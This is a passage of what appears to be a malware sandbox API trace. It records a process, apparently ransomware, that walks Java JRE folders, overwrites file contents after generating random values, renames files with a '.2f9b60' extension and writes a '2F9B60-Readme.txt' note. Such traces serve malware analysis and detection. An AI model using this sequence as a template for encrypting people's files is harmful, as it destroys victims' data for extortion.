0x1ce19220 [0164.906] RtlFreeAnsiString (AnsiString="7") [0164.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0164.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500980) returned 1 [0164.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c176e0) returned 1 [0164.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b00) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b30) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ad0) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19aa0) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500920) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009e0) returned 1 [0164.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a10) returned 1 [0164.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8696c0 [0164.909] wcscat (in: _Dest=0x1b8696c0, _Source="75a123a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a" [0164.909] wcscat (in: _Dest=0x1b8696c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a.2f9b60" [0164.909] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a.2f9b60", NtPathName=0x3692f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\75a123a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c308b0 [0165.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c308b0) returned 1 [0165.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34160) returned 1 [0165.029] NtQueryInformationFile (in: FileHandle=0x25ec, IoStatusBlock=0x3692f878, FileInformation=0x3692f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3692f878, FileInformation=0x3692f888) returned 0x0 [0165.029] NtSetInformationFile (FileHandle=0x25ec, IoStatusBlock=0x3692f878, FileInformation=0x3692f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0165.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0165.060] FlushFileBuffers (hFile=0x25ec) returned 1 [0166.263] CloseHandle (hObject=0x25ec) returned 1 [0183.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c22f30 [0183.935] wcscpy (in: _Dest=0x42c22f30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" [0183.935] wcscat (in: _Dest=0x42c22f30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\2F9B60-Readme.txt" [0183.935] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\2f9b60-readme.txt")) returned 0xffffffff [0183.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13a0 [0192.670] WriteFile (in: hFile=0x13a0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3692f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3692f730*=0xba9, lpOverlapped=0x0) returned 1 [0201.222] CloseHandle (hObject=0x13a0) returned 1 [0206.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22f30) returned 1 [0206.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e950) returned 1 [0206.126] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0206.127] FindClose (in: hFindFile=0x1cd9d670 | out: hFindFile=0x1cd9d670) returned 1 [0206.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c0b0) returned 1 [0206.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced64c0) returned 1 [0206.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c970) returned 1 Thread: id = 2079 os_tid = 0x1398 [0138.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b86e5d0 [0138.385] wcscpy (in: _Dest=0x1b86e5d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0138.385] wcscat (in: _Dest=0x1b86e5d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\" [0138.385] wcscat (in: _Dest=0x1b86e5d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*" [0138.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027fb30 [0138.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d190 [0139.561] wcscmp (_String1=".", _String2=".") returned 0 [0139.561] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.561] wcscmp (_String1="..", _String2=".") returned 1 [0139.561] wcscmp (_String1="..", _String2="..") returned 0 [0139.561] FindNextFileW (in: hFindFile=0x1cd9d190, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0139.561] wcscmp (_String1="cursors", _String2=".") returned 1 [0139.561] wcscmp (_String1="cursors", _String2="..") returned 1 [0139.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced9780 [0139.561] wcscpy (in: _Dest=0x1ced9780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0139.562] wcscat (in: _Dest=0x1ced9780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\" [0139.562] wcscat (in: _Dest=0x1ced9780, _Source="cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0152.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b868f40 [0152.042] wcscpy (in: _Dest=0x1b868f40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0152.042] wcscat (in: _Dest=0x1b868f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0152.042] wcscat (in: _Dest=0x1b868f40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*" [0152.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9aa40 [0152.042] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c9d0 [0152.049] wcscmp (_String1=".", _String2=".") returned 0 [0152.049] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.049] wcscmp (_String1="..", _String2=".") returned 1 [0152.049] wcscmp (_String1="..", _String2="..") returned 0 [0152.049] FindNextFileW (in: hFindFile=0x1cd9c9d0, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0152.050] wcscmp (_String1="cursors.properties", _String2=".") returned 1 [0152.050] wcscmp (_String1="cursors.properties", _String2="..") returned 1 [0152.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cc90 [0152.050] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" [0152.050] wcscat (in: _Dest=0x4205cc90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0152.050] wcscat (in: _Dest=0x4205cc90, _Source="cursors.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" [0152.050] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0152.057] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties", dwFileAttributes=0x20) returned 1 [0152.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25d4 [0152.058] GetFileSizeEx (in: hFile=0x25d4, lpFileSize=0x369ff790 | out: lpFileSize=0x369ff790*=1280) returned 1 [0152.058] SetFilePointerEx (in: hFile=0x25d4, liDistanceToMove=0x4fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.058] ReadFile (in: hFile=0x25d4, lpBuffer=0x369ff710, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x369ff758, lpOverlapped=0x0 | out: lpBuffer=0x369ff710*, lpNumberOfBytesRead=0x369ff758*=0x4, lpOverlapped=0x0) returned 1 [0152.098] SetFilePointerEx (in: hFile=0x25d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500890 [0152.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500920 [0152.098] NtQuerySystemTime (in: CurrentTime=0x369ff650 | out: CurrentTime=0x369ff650*=132462177573022000) returned 0x0 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x88fd218 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7e189d7c [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x2c4b5d53 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x2ab27ed9 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0xc753f8f [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x6b014fc5 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0xd8567a0 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x94051be [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x6a94da93 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x2c03b254 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0xd8be0b2 [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x9e88f0c [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7e99665d [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x5be9dc4c [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x1cd72a9e [0152.098] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x6da1e7a2 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x58891a61 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7d8a0c44 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x735ac0d5 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x40e92e19 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x2b3189dc [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x7062490c [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x69aa2a62 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x3e025efc [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x464e05c2 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x120904d1 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x734f2fa3 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x45826c3f [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x516dba97 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x16f4946f [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x185d0450 [0152.099] RtlRandomEx (in: Seed=0x369ff640 | out: Seed=0x369ff640) returned 0x1727562b [0152.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500950 [0152.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0152.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500980 [0152.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0152.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500920) returned 1 [0152.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0152.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0152.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425b9930 [0152.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425bd540 [0152.108] ReadFile (in: hFile=0x25d4, lpBuffer=0x425b9930, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x369ff640, lpOverlapped=0x0 | out: lpBuffer=0x425b9930*, lpNumberOfBytesRead=0x369ff640*=0x500, lpOverlapped=0x0) returned 1 [0152.108] SetFilePointerEx (in: hFile=0x25d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.108] WriteFile (in: hFile=0x25d4, lpBuffer=0x425bd540*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x369ff644, lpOverlapped=0x0 | out: lpBuffer=0x425bd540*, lpNumberOfBytesWritten=0x369ff644*=0x500, lpOverlapped=0x0) returned 1 [0163.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0163.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0163.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0163.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425bd540) returned 1 [0163.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425b9930) returned 1 [0163.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ff70 [0163.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0163.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0163.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ff30 [0163.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0163.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0163.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0163.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c241b0 [0163.006] SetFilePointerEx (in: hFile=0x25d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.006] WriteFile (in: hFile=0x25d4, lpBuffer=0x42c241b0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x369ff760, lpOverlapped=0x0 | out: lpBuffer=0x42c241b0*, lpNumberOfBytesWritten=0x369ff760*=0x116, lpOverlapped=0x0) returned 1 [0164.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc140 [0164.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc140) returned 1 [0164.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cddc140 [0164.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc110 [0164.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0b0 [0164.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc0b0) returned 1 [0164.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd86850 [0164.896] sprintf (in: _Dest=0x1cd86850, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.896] sprintf (in: _Dest=0x1cd86852, _Format="%c%c" | out: _Dest="ab") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86854, _Format="%c%c" | out: _Dest="4e") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86856, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86858, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8685a, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8685c, _Format="%c%c" | out: _Dest="26") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8685e, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86860, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86862, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86864, _Format="%c%c" | out: _Dest="26") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86866, _Format="%c%c" | out: _Dest="e2") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86868, _Format="%c%c" | out: _Dest="86") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8686a, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8686c, _Format="%c%c" | out: _Dest="29") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8686e, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86870, _Format="%c%c" | out: _Dest="1c") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86872, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86874, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86876, _Format="%c%c" | out: _Dest="64") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86878, _Format="%c%c" | out: _Dest="11") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8687a, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8687c, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8687e, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86880, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86882, _Format="%c%c" | out: _Dest="29") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86884, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86886, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.897] sprintf (in: _Dest=0x1cd86888, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8688a, _Format="%c%c" | out: _Dest="01") returned 2 [0164.897] sprintf (in: _Dest=0x1cd8688c, _Format="%c%c" | out: _Dest="65") returned 2 [0164.898] sprintf (in: _Dest=0x1cd8688e, _Format="%c%c" | out: _Dest="7f") returned 2 [0164.898] sprintf (in: _Dest=0x1cd86890, _Format="%c%c" | out: _Dest="a4") returned 2 [0164.898] sprintf (in: _Dest=0x1cd86892, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.898] sprintf (in: _Dest=0x1cd86894, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.898] sprintf (in: _Dest=0x1cd86896, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.898] RtlInitAnsiString (in: DestinationString=0x369ff7d8, SourceString="2cab4e1a1dd926f3f75e26e2861d291b1c8c5b6411d5c5e40d29b2acdd01657fa4fc3b1d" | out: 